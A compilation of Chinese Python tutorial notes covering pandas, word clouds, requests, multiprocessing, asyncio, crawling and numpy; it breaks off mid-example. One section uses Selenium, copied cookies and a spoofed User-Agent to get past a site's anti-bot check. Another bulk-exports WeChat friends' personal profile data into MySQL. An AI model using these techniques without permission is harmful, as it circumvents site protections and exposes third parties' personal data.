A value is trying to be set on a copy of a slice from a DataFrame
input:
da
output:
id name test
0 5 5 5.0
1 2 8 NaN
# 虽然上述报错了,会发现结果正如我们想要的修改了相应的值,针对报错问题解决办法采用了loc
input:
da.loc[1,'name']=10
output:
id name test
0 5 5 5.0
1 2 10 NaN
# 删除某一列:
input:
del da['test']
da
output:
id name
0 5 5
1 2 10
2.2Series使用¶
# Series是一个一维数组对象,类似与Numpy,但又不同,Series为一个带索引的一维数组对象,将 Python 数组转换成 Series 对象
# numpy的array操作
import numpy as np
input:
np.array([1,2,3])
output:
array([1, 2, 3])
# Series操作
input:
pd.Series(['12','as'])
output:
0 12
1 as
dtype: object
# Series,先来熟悉一下DataFrame
input:
pd.DataFrame([1,2,3],index=['a','b','c'],columns=['number'])
output:
number
a 1
b 2
c 3
# 而Series操作同上,默认index从0计数,但没有columns,不能指定列名
input:
pd.Series([121,22,32],index=[1,2,3])
output:
1 121
2 22
3 32
dtype: int64
# 取值
input:
sr[1]
output:
121
# 取多个值
input:
sr[[1,2]]
output:
1 121
2 22
dtype: int64
# 修改
input:
sr[1]=86
sr
output:
1 86
2 22
3 32
dtype: int64
# 单独获取 Series 对象的索引或者数组内容的时候,可以使用 index 和 values 属性
input:
sr.index
output:
Int64Index([1, 2, 3], dtype='int64')
input:
sr.values
output:
array([86, 22, 32], dtype=int64)
# 对Series对象运算---只改变值,不改变索引,并且sr整体也不变,只是获得一个临时对象来存储sr*2
input:
sr*2
output:
1 172
2 44
3 64
dtype: int64
input:
sr
output:
1 86
2 22
3 32
# 索引出小于60的数据
input:
sr[sr<=60]
output:
2 22
3 32
dtype: int64
3.PIL、matplotlib、WordCloud(深入学习见后篇)¶
# Python Imaging Library,图像处理标准库,打开一个jpg图像文件
# 打开图片
import PIL.Image as Image
coloring=Image.open("D:/pachong/weixin/qqq.jpg")
# PIL:Python Imaging Library,图像处理标准库,打开一个jpg图像文件
# numpy创建数组,临时存储打开的图片
coloring = np.array(Image.open("D:/pachong/weixin/qqq.jpg"))
my_wordcloud = WordCloud(background_color="white", max_words=2000,
mask=coloring, max_font_size=100, random_state=42, scale=2,
font_path="C:/Windows/Fonts/simkai.ttf").generate(word_space_split)
image_colors = ImageColorGenerator(coloring)
plt.imshow(my_wordcloud.recolor(color_func=image_colors))
plt.imshow(my_wordcloud)
plt.axis("off")
plt.show()
4.项目Demo功能详解¶
import itchat
from pyecharts import Pie
import re,jieba
import matplotlib.pyplot as plt
import pandas as pd
from wordcloud import WordCloud,ImageColorGenerator
import numpy as np
import PIL.Image as Image
# 通过如下命令登陆,即使程序关闭,一定时间内重新开启也可以不用重新扫码。该方法会生成一个静态文件 itchat.pkl ,用于存储登陆的状态
itchat.auto_login(hotReload=True)
# 导出设置
itchat.dump_login_status()
data=pd.DataFrame()
columns=['NickName', 'Sex', 'Province', 'City', 'Signature']
friends=itchat.get_friends(update=True)[:]
print(friends)
my=friends[0]
# 绘制男女比例饼图
def echart_pie(friends):
total = len(friends) - 1
male = female = other = 0
for friend in friends[1:]:
sex=friend["Sex"]
if sex==1:
male+=1
elif sex==2:
female+=1
else:
other+=1
attr = ["男性","女性","其他"]
v1=[float(male) / total * 100,float(female) / total * 100,float(other) / total * 100]
pie=Pie(my["NickName"]+"的微信好友性别比例",title_pos="center")
pie.add("性别",attr,v1,center=[50,50],is_random=True, radius=[30, 75], rosetype='area',
is_legend_show=False, is_label_show=True)
# render()方法会生成一个render.html,然后在浏览器运行就出现图形
pie.render()
echart_pie(friends)
# 绘制词云
def plot_cloud(columns):
# 通过循环得到第一列索引,后面列名分别为columns的各个元素,类似于数据库表
for col in columns:
val = []
for i in friends[1:]: # friends[0]是自己的信息,因此我们要从[1:]开始
val.append(i[col])
data[col] = pd.Series(val)
siglist = []
for i in data['Signature']:
# 正则替换---strip()去除空格,replace替换特殊字符
signature = i.strip().replace('emoji','').replace('span','').replace('class','')
rep = re.compile('1f\d+\w*|[<>/=]')
signature = rep.sub('', signature)
siglist.append(signature)
text = ''.join(siglist)
word_list = jieba.cut(text, cut_all=True)
word_space_split = ' '.join(word_list)
# PIL:Python Imaging Library,图像处理标准库,打开一个jpg图像文件
# numpy创建数组,临时存储打开的图片
coloring = np.array(Image.open("D:/pachong/weixin/qqq.jpg"))
my_wordcloud = WordCloud(background_color="white", max_words=2000,
mask=coloring, max_font_size=100, random_state=42, scale=2,
font_path="C:/Windows/Fonts/simkai.ttf").generate(word_space_split)
image_colors = ImageColorGenerator(coloring)
plt.imshow(my_wordcloud.recolor(color_func=image_colors))
plt.imshow(my_wordcloud)
plt.axis("off")
plt.show()
plot_cloud(columns)
# 绘制省份地图
# [{},{}]
# total_list=[]
# person_dict={}
from pyecharts import Map
map_province=[]
map_prodic={}
map_attr=[]
map_val=[]
def plot_location(friends):
## 通过循环实现将所有好友所在省份加到列表中,并且去除空字符
for friend in friends[1:]:
map_province.append(friend['Province'])
while '' in map_province:
map_province.remove('') # 删除空字符
# 将上述列表通过set变为字典,去重
map_dict=set(map_province)
# 生成一个key为省份,value为省份出现总数的字典
for mdi in map_dict:
map_prodic[mdi]=map_province.count(mdi)
print(map_prodic)
# 通过循环将上述的字典拆分为两个列表,分别围殴map_attr,map_val,用于下面pyecharts绘制图形
for province_key in map_prodic:
map_attr.append(province_key)
map_val.append(map_prodic[province_key])
print(map_attr)
print(map_val)
# 开始绘制
map = Map(my["NickName"]+"的微信好友位置分布图", width=1200, height=600,title_pos='center')
map.add("", map_attr, map_val, is_visualmap=True,visual_range=[0,120],visual_text_color='#000', is_map_symbol_show=False, is_label_show=True)
map.render()
plot_location(friends)
# 好友核心数据存储至Mysql
import pymysql.cursors
def save_mysql(friends):
# 数据库链接,记得更换XXXX处为你的
connection=pymysql.connect(host='localhost',user='XXXX',password='XXXX',db='myWeinxinData',charset='utf8mb4')
try:
for friend in friends[1:]:
with connection.cursor() as cursor:
sql = "insert into `key_Info`(`UserName`,`NickName`,`Sex`,`HeadImgUrl`,`Province`,`City`,`Signature`)values(%s,%s,%s,%s,%s,%s,%s)"
cursor.execute(sql, (
friend['UserName'], friend['Sex'], friend['NickName'], friend['HeadImgUrl'], friend['Province'], friend['City'],
friend['Signature']))
connection.commit()
finally:
connection.close()
# 使用就取消注释
# save_mysql(friends)
5.相关问题¶
pyecharts绘图中地图无法显示问题
# echarts-countries-pypkg 是全球国家地图
pip install echarts-countries-pypkg
# echarts-china-provinces-pypkg是中国省级地图
pip install echarts-china-provinces-pypkg
# echarts-china-cities-pypkg是中国城市地图
pip install echarts-china-cities-pypkg
6.参考文章¶
1.Python - pandas DataFrame 数据选取,修改,切片
2.pandas DataFrame中经常出现SettingWithCopyWarning
4.利用Python进行数据分析(7) pandas基础: Series和DataFrame的简单介绍
7.欢迎Start:My Project Here¶

py切割图片微信高逼格朋友圈¶
读取图片->填充为正方形->将图像切位9张->保存图片
from PIL import Image
# 先将 input image 填充为正方形
def fill_image(image):
# 获取图像的宽和高
width, height = image.size
# 获取长和宽中较大值作为新图片
new_image_length = width if width > height else height
# 生成新图片
new_image = Image.new(image.mode, (new_image_length,new_image_length), color="white")
# 将之前的图粘贴在新图上,居中
if width > height:
# 原图宽大于高,则填充图片的竖直维度 #(x,y)二元组表示粘贴上图相对下图的起始位置,是个坐标点。
new_image.paste(image, (0, int((new_image_length - height) / 2)))
else:
new_image.paste(image, (int((new_image_length - width) / 2), 0))
return new_image
def cut_image(image):
width, height = image.size
item_width = int(width / 3)
box_list = []
for i in range(0,3):
for j in range(0,3):
box = (j*item_width, i*item_width,(j+1)*item_width,(i+1)*item_width)
box_list.append(box)
# crop : 返回图像某个给定区域。box 是一个 4 元素元组,定义了 left, upper, right, lower 像素坐标
image_list = [image.crop(box) for box in box_list]
return image_list
# 保存
def save_image(image_list):
index = 1
for image in image_list:
image.save('./image/' + str(index) + '.png', 'PNG')
index += 1
if __name__ == '__main__':
file_path = './m.jpg'
image = Image.open(file_path)
image = fill_image(image)
image_list = cut_image(image)
save_image(image_list)

python爬虫系列之多功能的 Requests¶
- python 自带urllib提交网页请求
- Python 外部模块 requests,向网页发送信息, 上传图片等等。
本节学习requests的基本用法及示例
1. webbrowser简单实用¶
# 使用默认浏览器打开
b.open('http://light-city.me')
# 使用非默认浏览器打开
b = webbrowser.get('C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s')
b.open('http://light-city.me')
# 除了上述方法,还可以用下面方法,比如用IE浏览器
b = webbrowser.get(webbrowser.iexplore)
2.requests使用¶
2.1 requests的get方式¶
param = {'wd':'莫烦python'}
r = requests.get('http://www.baidu.com/s',params=param)
print(r.url)
webbrowser.open(r.url)
2.2 requests的post方式¶
post提交需要关注以下三点信息(打开浏览器inspect)
- Request URL (post 要用的 URL)
- Request Method (post)
- Form Data (post 去的信息)
data={'firstname':'z','lastname':'x'}
r = requests.post('http://pythonscraping.com/pages/files/processing.php',data=data)
print(r.text)
# 点击选择图片按钮,实际上post提交的是这个按钮对应的值,那么从源代码里卖弄看相应的key,value设为图片地址即可。
file = {'uploadFile': open('./image.png', 'rb')}
r = requests.post('http://pythonscraping.com/pages/files/processing2.php', files=file)
print(r.text)
从登陆学习Cookie
# 打开网页时, 每一个页面都是不连续的, 没有关联的, Cookie 就是用来衔接一个页面和另一个页面的关系。
# 本节实例就是通过post提交信息,然后通过cookie调用登陆后页面的内容
# 注意:username为自定义填写,password为password,否则在inspect中查看不到相应的cookie
payload = {'username': 'z', 'password': 'password'}
r = requests.post('http://pythonscraping.com/pages/cookies/welcome.php', data=payload)
print(r.cookies.get_dict())
r = requests.get('http://pythonscraping.com/pages/cookies/profile.php', cookies=r.cookies)
print(r.text)
使用Session登陆(Session管理Cookie)
上述示例,每次都要传递 cookies 是很麻烦的, 好在有个Session. 在一次会话中, 我们的 cookies 信息都是相连通的, 它自动帮我们传递这些 cookies 信息。
同样是执行上面的登录操作, 下面就是使用 session 的版本. 创建完一个 session 过后, 我们直接只用 session 来 post 和 get. 而且这次 get 的时候, 我们并没有传入 cookies. 但是实际上 session 内部就已经有了之前的 cookies 了。
session = requests.Session()
payload = {'username': 'a', 'password': 'password'}
r = session.post('http://pythonscraping.com/pages/cookies/welcome.php', data=payload)
print(r.cookies.get_dict())
r = session.get("http://pythonscraping.com/pages/cookies/profile.php")
print(r.text)
3.参考文章¶

python爬虫系列之下载文件¶
0.导包¶
from urllib.request import urlretrieve
import os
os.makedirs('./img/',exist_ok=True)
1.使用urlretrieve下载文件¶
# 使用urlretrieve
IMAGE_URL = 'https://morvanzhou.github.io/static/img/description/learning_step_flowchart.png'
urlretrieve(IMAGE_URL,'./img/image1.png')
2.使用requests下载文件¶
# 使用requests
import requests
r = requests.get(IMAGE_URL)
with open('./img/image2.png','wb') as f:
f.write(r.content)
with open('./img/image3.png','wb') as f:
for chunk in r.iter_content(chunk_size=32):
f.write(chunk)
3.上述两种下载方式对比¶
- urlretrieve: 小文件
- requests:小或大文件
如果要下载的是大文件, 比如视频等. requests 能让你下一点, 保存一点, 而不是要全部下载完才能保存去另外的地方。 这就是一个 chunk 一个 chunk 的下载. 使用r.iter_content(chunk_size) 来控制每个 chunk 的大小, 然后在文件中写入这个 chunk 大小的数据。

python爬虫系列之Senium反爬虫¶
1.反爬虫方案¶
说在前面:爬取的是国家地理中文网上最新一栏的三张图片,点击查看更多又会出现三张图片,总共六张。
第一个难点:获取真实的html
- selenium + chromdriver
通过url直接访问这个网站,获得的html并不是想要的,会发现里面提示: 浏览器正在安全检查中….
对于上述并未爬到想要的html解决方案是,发现该网站通过js来运行,倒计时后将字符串拼接请求,进入相应网站,如果能够模拟浏览器自动执行js,那么就实现了我们想要的效果了。
于是,这里采用selenium通过chromdriver调用chrome浏览器,模拟操作,自动运行js,(这里注意,倒计时5s,那么get url后,设置时间得大于5s,用time模块的sleep方法模拟即可)进而直接获得相应的html,随后进行正常的爬虫。
第二个难点:获得html后,并通BeautifulSoup获取到了6张图片的url,如何下载url对应的图片
- requests.get + cookies + headers
这里下载采用requests.get方法来下载图片,但是直接这样操作会出现503错误(Service Unavailable),下载出来的图片也无法查看,那么就要解决这个问题。 解决办法:通过webdriver获得cookies,并对cookie进行下载与格式化为字典形式,传递给requests的get方法,除此之外,需要将User-Agent传递给requests的get方法,这里写入headers中进行传递。
第三个难点:如何将这些下载的图片进行呈现,并合并到一张图中集体展示
- matplotlib.pyplot + matplotlib.image
先通过matplotlib.image的imread方法读取图片,再通过matplotlib.pyplot绘制一个figure,然后在绘制子图放入figure中即可。
2.完整代码¶
2.1 导入相关的库¶
import time
from bs4 import BeautifulSoup as bs
from selenium import webdriver
import requests
import matplotlib.pyplot as plt
import matplotlib.image as mping
2.2 selenium + chromdriver¶
# 反爬虫应对代码
driver = webdriver.Chrome() #注意需要将chromedriver放入代码中方可运行
URL = 'http://www.ngchina.com.cn/animals/'
driver.get(URL)
time.sleep(7) # 要大于5s
html=driver.page_source # 获取实际页面的html
# print(html)
2.2 BeautifulSoup下载图片+打开图片¶
- 保存下载cookies操作
# 获取cookies,保存到本地,读取进行格式化
driver_cookie = driver.get_cookies()
cookies = [item["name"] + "=" + item["value"] for item in driver_cookie]
cookiesStr = ' '.join(cookies)
# print cookiesStr
with open('cookies.txt', 'w') as f:
f.write(cookiesStr)
with open('cookies.txt') as f:
str_cookies = f.read()
print("str_cookies..................."+str_cookies)
list_cookies = str_cookies.split(' ') # 对字符串切片,返回分割后的字符串列表
cookies = {}
for cookie in list_cookies:
'''
robots=1
cookie.split('=')
变为
['robots', '1']
key = cookie.split('=')[0]
value = cookie.split('=')[-1]
'''
key = cookie.split('=')[0]
value = cookie.split('=')[-1]
'''
dict.update(dict2)
# 把字典dict2的键/值对更新到dict里
'''
cookies.update({key : value}) # 变为字典类型,如:{'robots': '1'}
print(cookies)
- BeautifulSoup根据真实Html,获取图片Url
soup = bs(html,'lxml')
img_ul = soup.find_all('ul',{"class":"img_list"})
print(img_ul)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
}
i=1
for ul in img_ul:
imgs = ul.find_all('img')
for img in imgs:
url = img['src']
r = requests.get(url, headers=headers, cookies=cookies) # cookies与headers一起解决503错误
print(r.status_code)
image_name = url.split('/')[-1]
with open('./img/%s' % image_name, 'wb') as f:
for chunk in r.iter_content(chunk_size=128):
f.write(chunk)
print('Saved %s' % image_name)
# 使用Matlibplot展示图片
with open('./img/%s' % image_name, 'r') as f:
_img = mping.imread('./img/%s' % image_name)
if i==1:
plt.figure()
plt.subplot(2,3,i) # 2行三列显示在第i个位置
plt.imshow(_img)
plt.title(image_name)
plt.axis('off')
i=i+1
plt.show()

python进阶之多进程¶
1.进程与线程初识¶
1.1 导包¶
# 导入线程进程标准模块
import multiprocessing as mp
import threading as td
1.2 定义被调函数¶
# 定义一个被线程和进程调用的函数
def job(a,d):
print('aaaaa')
1.3 创建线程和进程¶
# 创建线程和进程
t1 = td.Thread(target=job, args=(1,2)) # (1,2,)与(1,2)一样效果
p1 = mp.Process(target=job, args=(1,2)) # (1,2,)与(1,2)一样效果
1.4 启动线程和进程¶
if __name__ == '__main__':
# 启动线程和进程
t1.start()
p1.start()
# 连接线程和进程
t1.join()
p1.join()
2.输出结果存放至Queue¶
2.1 导包¶
import multiprocessing as mp
2.2 定义被调函数¶
这里传入Queue对象
def job(q):
res = 0
for i in range(1000000):
res += i + i ** 2 + i ** 3
q.put(res)
2.3 启动多进程,存放结果¶
if __name__ == '__main__':
q = mp.Queue()
p1 = mp.Process(target=job, args=(q,))
p2 = mp.Process(target=job, args=(q,))
p1.start()
p2.start()
p1.join()
p2.join()
res1 = q.get()
res2 = q.get()
print(res1+res2)
3.进程与线程效率对比¶
3.1 导入多进程包¶
import multiprocessing as mp
3.2 定义被调函数¶
def job(q):
res = 0
for i in range(1000000):
res += i + i ** 2 + i ** 3
q.put(res)
3.3 封装多进程¶
# 多核/多进程
def multicore():
q = mp.Queue()
p1 = mp.Process(target=job, args=(q,))
p2 = mp.Process(target=job, args=(q,))
p1.start()
p2.start()
p1.join()
p2.join()
res1 = q.get()
res2 = q.get()
print('multicore:', res1 + res2)
3.4 导入线程包¶
import threading as td
3.5 封装多线程¶
# 多线程
def multithread():
q = mp.Queue()
t1 = td.Thread(target=job, args=(q,))
t2 = td.Thread(target=job, args=(q,))
t1.start()
t2.start()
t1.join()
t2.join()
res1 = q.get()
res2 = q.get()
print('multithread:', res1 + res2)
3.6 封装普通方法¶
def normal():
res = 0
for _ in range(2):
for i in range(1000000):
res += i + i ** 2 + i ** 3
print('normal:',res)
3.7 主函数调用¶
三种方法对比效率
import time
if __name__ == '__main__':
st = time.time()
normal()
st1 = time.time()
print('normal time:', st1 - st)
multithread()
st2 = time.time()
print('multithread time:', st2 - st1)
multicore()
st3 = time.time()
print('multicore time:', st3 - st2)
3.8 输出结果¶
normal: 499999666667166666000000
normal time: 1.779979944229126
multithread: 499999666667166666000000
multithread time: 1.8090195655822754
multicore: 499999666667166666000000
multicore time: 1.2929792404174805
结论:多进程 < 普通 < 多线程
4.进程池¶
说在前面:有了池子之后,就可以让池子对应某一个函数,我们向池子里丢数据,池子就会返回函数返回的值。
Pool和之前的Process的不同点是丢向Pool的函数有返回值,而Process的没有返回值。
4.1 导入进程包¶
import multiprocessing as mp
4.2 定义被调函数¶
def job(x):
return x*x
4.3 封装函数¶
map() 与 apply_async() 两种方式 返回结果
def multicore():
'''
Pool默认调用是CPU的核数,传入processes可自定义CPU核数
map()放入迭代参数,返回多个结果
apply_async()只能放入一组参数,并返回一个结果,如果想得到map()的效果需要通过迭代
'''
pool = mp.Pool(processes=2)
res = pool.map(job, range(10))
print(res)
'''
apply_async()只能传递一个值,它只会放入一个核进行运算,传入的值因为必须是可迭代的,
所以在传入值后需要加逗号,同时需要用get()方法获取返回值。
'''
res = pool.apply_async(job, (2,))
multi_res = [pool.apply_async(job, (i,)) for i in range(10)]
print(res.get()) # 获取单个结果
print([res.get() for res in multi_res]) # 获取多个结果
4.4 主函数调用¶
if __name__ == '__main__':
multicore()
5.共享内存¶
import multiprocessing as mp
'''
使用Value数据存储在一个共享的内存表中
d表示一个双精浮点类型,i表示一个带符号的整型
'''
value1 = mp.Value('i', 0)
value2 = mp.Value('d', 3.14)
'''
Array类,可以和共享内存交互,来实现在进程之间共享数据。
这里的Array和numpy中的不同,它只能是一维的,不能是多维的。
同样和Value 一样,需要定义数据形式,否则会报错。
'''
array = mp.Array('i', [1,2,3,4])
6.进程锁¶
6.1 不同进程争夺资源¶
import multiprocessing as mp
import time
def job(v, num):
for _ in range(5):
time.sleep(0.1)
v.value += num
print(v.value,end="\n")
def multicore():
v = mp.Value('i',0) # 定义共享变量
p1 = mp.Process(target=job, args=(v,1))
p2 = mp.Process(target=job, args=(v,3)) # 设定不同的number看如何抢夺内存
p1.start()
p2.start()
p1.join()
p2.join()
if __name__ == '__main__':
multicore()
6.2 通过锁机制解决争夺资源问题¶
import multiprocessing as mp
import time
def job(v, num, l):
l.acquire() # 锁住
for _ in range(5):
time.sleep(0.1)
v.value += num
print(v.value,end="\n")
l.release() # 释放
def multicore():
l = mp.Lock() # 定义一个进程锁
v = mp.Value('i',0) # 定义共享变量
p1 = mp.Process(target=job, args=(v,1,l)) # 需要将lock传入
p2 = mp.Process(target=job, args=(v,3,l)) # 设定不同的number看如何抢夺内存
p1.start()
p2.start()
p1.join()
p2.join()
if __name__ == '__main__':
multicore()

python爬虫系列之多进程分布式爬虫¶
说在前面:本节用来解决同时下载多个网页, 同时分析多个网页, 这样就有种事倍功半的效用。本节学习来源于莫烦Python,目标是爬取莫烦Python的所有Url。
1.导包¶
import multiprocessing as mp
import time
from urllib.request import urlopen, urljoin
from bs4 import BeautifulSoup
import re
2.爬取网页及解析网页¶
一个爬取网页的(crawl), 一个是解析网页的(parse)
base_url = "https://morvanzhou.github.io/"
def crawl(url):
response = urlopen(url)
# time.sleep(0.1)
return response.read().decode()
def parse(html):
soup = BeautifulSoup(html, 'lxml')
'''
^ 匹配输入字符串的开始位置
$ 匹配输入字符串的结尾位置
. 匹配输入字符串的结尾位置
+ 匹配前面的子表达式一次或多次
? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符
.+?表示最小匹配
举例说明.+?与.+的区别
<a href="xxx"><span>
如果用<.+>匹配,则匹配结果是
<a href="xxx"><span>
如果用<.+?>匹配,则匹配结果是
<a href="xxx">
也就是.+?只要匹配就返回了,不会再接着往下找了
'''
urls = soup.find_all('a', {'href':re.compile('^/.+?/$')})
title = soup.find('h1').get_text().strip()
page_urls = set([urljoin(base_url, url['href']) for url in urls]) # 去重
url = soup.find('meta', {'property': "og:url"})['content']
return title, page_urls, url
3.多进程+进程池爬取url¶
注意:多进程操作必须放在__name__ == '__main__'
里面,否则报错!
if __name__ == '__main__':
unseen = set([base_url,]) # {'http://.............',}
seen = set()
pool = mp.Pool(4) # CPU核数为4
count, t1 = 1, time.time()
while len(unseen) != 0: # still get some url to visit
if len(seen) > 20:
break
print('\nDistributed Crawling...')
crawl_jobs = [pool.apply_async(crawl, args=(url,)) for url in unseen]
htmls = [j.get() for j in crawl_jobs] # request connection
print('\nDistributed Parsing...')
parse_jobs = [pool.apply_async(parse, args=(html,)) for html in htmls]
results = [j.get() for j in parse_jobs] # parse html
print('\nAnalysing...')
seen.update(unseen) # seen the crawled
unseen.clear() # nothing unseen
for title, page_urls, url in results:
print(count, title, url)
count += 1
unseen.update(page_urls - seen) # get new url to crawl
print('Total time: %.1f s' % (time.time()-t1, ))
4.参考文章¶

python进阶之异步任务¶
1.yield关键字¶
yield类似于return, 但不同之处在于它返回的是生成器!
生成器 - 生成器是通过一个或多个yield表达式构成的函数。每一个生成器都是一个迭代器(但迭代器不一定是生成器)。 - 生成器并不会一次返回所有结果,而是每次遇到yield关键字后返回相应结果,并保留函数当前的运行状态。等待下一次的调用。 - 由于生成器也是一个迭代器,那么它就应该支持next方法来获取下一个值。 除此之外,生成器还支持send函数,该函数可以向生成器传递参数。
# 基本操作
def fun():
for i in range(10):
yield i
f = fun()
# 通过for循环+next进行调用
for i in range(10):
print(next(f))
print('-----------------------------')
def func():
n = 0
while 1:
n = yield n
f = func()
print(next(f))
print('------------------------------')
print(f.send(5)) # n赋值为5
def func(number):
while True:
yield number
number += 1
f = func(1)
print('------------------------------')
# 取出10个数
for i in range(10):
print(next(f))
# 生产消费模式
print('------------------------------')
def consumer():
r = ''
while True:
n = yield r
if not n:
return
print('[CONSUMER] Consuming %s...' % n)
r = '200 OK'
def produce(c):
c.send(None)
n = 0
while n < 5:
n = n + 1
print('[PRODUCER] Producing %s...' % n)
r = c.send(n)
print('[PRODUCER] Consumer return: %s' % r)
c.close()
c = consumer()
produce(c)
2.异步加载asyncio¶
asyncioasyncio可以实现单线程并发IO操作 async和await是针对coroutine的新语法,要使用新的语法,只需要做两步简单的替换: 把@asyncio.coroutine替换为async; 把yield from替换为await。
第一种方式¶
import asyncio
@asyncio.coroutine
def hello():
print("Hello world!")
r = yield from asyncio.sleep(1)
print("Hello again!")
loop = asyncio.get_event_loop()
loop.run_until_complete(hello())
loop.close()
第二种方式¶
async def hello2():
print('Hello world2!')
r = await asyncio.sleep(1)
print('Hello again2!')
loop = asyncio.get_event_loop()
loop.run_until_complete(hello2())
loop.close()

python爬虫系列之异步加载¶
1.不是异步的¶
import time
def job(t):
print('Strat job',t)
time.sleep(t)
print('Job',t,'takes',t,'s')
def main():
[job(t) for t in range(1,3)]
t1 = time.time()
main()
print("NO async total time:", time.time() - t1)
输出结果:
Strat job 1
Job 1 takes 1 s
Strat job 2
Job 2 takes 2 s
NO async total time: 3.0002732276916504
从上面可以看出, 我们的 job 是按顺序执行的, 必须执行完 job 1 才能开始执行 job 2, 而且 job 1 需要1秒的执行时间, 而 job 2 需要2秒. 所以总时间是 3 秒多.
而如果我们使用 asyncio 的形式, job 1 在等待 time.sleep(t) 结束的时候, 比如是等待一个网页的下载成功, 在这个地方是可以切换给 job 2, 让它开始执行.
2.异步处理¶
# 是异步的
import asyncio
import time
async def job(t):
print('Strat job',t)
await asyncio.sleep(t)
print('Job',t,'takes',t,'s')
async def main(loop):
tasks =[
loop.create_task(job(t)) for t in range(1,3)
] # 创建任务,但是不执行
await asyncio.wait(tasks) # 执行并等待所有任务完成
t1 = time.time()
loop = asyncio.get_event_loop() # 建立loop
loop.run_until_complete(main(loop)) # 执行loop
loop.close()
print("Async total time:", time.time() - t1)
输出结果:
Strat job 1
Strat job 2
Job 1 takes 1 s
Job 2 takes 2 s
Async total time: 2.005455255508423
从结果可以看出, 我们没有等待 job 1 的结束才开始 job 2, 而是 job 1 触发了 await 的时候就切换到了 job 2 了. 这时, job 1 和 job 2 同时在等待 await asyncio.sleep(t), 所以最终的程序完成时间, 取决于等待最长的 t, 也就是 2秒. 这和上面用普通形式的代码相比(3秒), 的确快了很多.
3.异步爬虫¶
莫烦官网方式:
import aiohttp
import time
import asyncio
URL = 'https://morvanzhou.github.io/'
async def job(session):
response = await session.get(URL)
return str(response.url)
async def main(loop):
async with aiohttp.ClientSession() as session: # 官网推荐建立 Session 的形式
tasks = [loop.create_task(job(session)) for _ in range(2)]
finished, unfinished = await asyncio.wait(tasks)
all_results = [r.result() for r in finished] # 获取所有结果
print(all_results)
t1 = time.time()
loop = asyncio.get_event_loop()
loop.run_until_complete(main(loop))
loop.close()
print("Async total time:", time.time() - t1)
AIOHTTP官网方式:
import aiohttp
import time
import asyncio
URL = 'https://morvanzhou.github.io/'
async def job(session):
async with session.get(URL) as resp:
print(resp.status)
return str(resp.url)
async def main(loop):
async with aiohttp.ClientSession() as session: # 官网推荐建立 Session 的形式
tasks = [loop.create_task(job(session)) for _ in range(2)]
finished, unfinished = await asyncio.wait(tasks)
all_results = [r.result() for r in finished] # 获取所有结果
print(all_results)
t1 = time.time()
loop = asyncio.get_event_loop()
loop.run_until_complete(main(loop))
loop.close()
print("Async total time:", time.time() - t1)

python爬虫系列之Selenium控制浏览器操作¶
1.弹出浏览器运行¶
from selenium import webdriver
driver = webdriver.Chrome()
driver.get('https://morvanzhou.github.io/')
driver.find_element_by_xpath(u"//img[@alt='强化学习 (Reinforcement Learning)']").click()
driver.find_element_by_link_text('About').click()
driver.find_element_by_link_text(u'赞助').click()
driver.find_element_by_link_text(u'教程 ▾').click()
driver.find_element_by_link_text(u'数据处理 ▾').click()
driver.find_element_by_link_text(u'网页爬虫').click()
# 页面html源码
html = driver.page_source
# 截图
driver.get_screenshot_as_file('./img/screenshot1.png')
driver.close()
2.静默状态运行¶
每次都要看着浏览器执行这些操作, 有时候有点不方便. 我们可以让 selenium 不弹出浏览器窗口, 让它”安静”地执行操作. 在创建 driver 之前定义几个参数就能摆脱浏览器的身体了.
# 在上述第一行代码后面加入下面代码,并按照加入chrome_options参数
from selenium.webdriver.chrome.options import Options
chrome_options = Options()
chrome_options.add_argument("--headless")
driver = webdriver.Chrome(chrome_options=chrome_options)

数据处理之Numpy(一)¶
1.Numpy基本操作¶
1.1 列表转为矩阵¶
import numpy as np
array = np.array([
[1,3,5],
[4,6,9]
])
print(array)
输出:
[[1 3 5]
[4 6 9]]
2.Numpy创建array¶
2.1 一维array创建¶
import numpy as np
# 一维array
a = np.array([2,23,4], dtype=np.int32) # np.int默认为int32
print(a)
print(a.dtype)
输出:
[ 2 23 4]
int32
2.1 多维array创建¶
# 多维array
a = np.array([[2,3,4],
[3,4,5]])
print(a) # 生成2行3列的矩阵
输出:
[[2 3 4]
[3 4 5]]
2.2 创建全零数组¶
a = np.zeros((3,4))
print(a) # 生成3行4列的全零矩阵
输出:
[[0. 0. 0. 0.]
[0. 0. 0. 0.]
[0. 0. 0. 0.]]
2.3 创建全一数据¶
# 创建全一数据,同时指定数据类型
a = np.ones((3,4),dtype=np.int)
print(a)
输出:
[[1 1 1 1]
[1 1 1 1]
[1 1 1 1]]
2.4 创建全空数组¶
# 创建全空数组,其实每个值都是接近于零的数
a = np.empty((3,4))
print(a)
输出:
[[0. 0. 0. 0.]
[0. 0. 0. 0.]
[0. 0. 0. 0.]]
2.7 创建连续型数据¶
# 创建线段型数据
a = np.linspace(1,10,20) # 开始端1,结束端10,且分割成20个数据,生成线段
print(a)
输出:
[ 1. 1.47368421 1.94736842 2.42105263 2.89473684 3.36842105
3.84210526 4.31578947 4.78947368 5.26315789 5.73684211 6.21052632
6.68421053 7.15789474 7.63157895 8.10526316 8.57894737 9.05263158
9.52631579 10. ]
2.8 linspace的reshape操作¶
# 同时也可以reshape
b = a.reshape((5,4))
print(b)
输出:
[[ 1. 1.47368421 1.94736842 2.42105263]
[ 2.89473684 3.36842105 3.84210526 4.31578947]
[ 4.78947368 5.26315789 5.73684211 6.21052632]
[ 6.68421053 7.15789474 7.63157895 8.10526316]
[ 8.57894737 9.05263158 9.52631579 10. ]]
3.Numpy基本运算¶
3.1 一维矩阵运算¶
import numpy as np
# 一维矩阵运算
a = np.array([10,20,30,40])
b = np.arange(4)
print(a,b)
# [10 20 30 40] [0 1 2 3]
c = a - b
print(c)
# [10 19 28 37]
print(a*b) # 若用a.dot(b),则为各维之和
# [ 0 20 60 120]
# 在Numpy中,想要求出矩阵中各个元素的乘方需要依赖双星符号 **,以二次方举例,即:
c = b**2
print(c)
# [0 1 4 9]
# Numpy中具有很多的数学函数工具
c = np.sin(a)
print(c)
# [-0.54402111 0.91294525 -0.98803162 0.74511316]
print(b<2)
# [ True True False False]
a = np.array([1,1,4,3])
b = np.arange(4)
print(a==b)
# [False True False True]
3.2 多维矩阵运算¶
a = np.array([[1,1],[0,1]])
b = np.arange(4).reshape((2,2))
print(a)
'''
[[1 1]
[0 1]]
'''
print(b)
'''
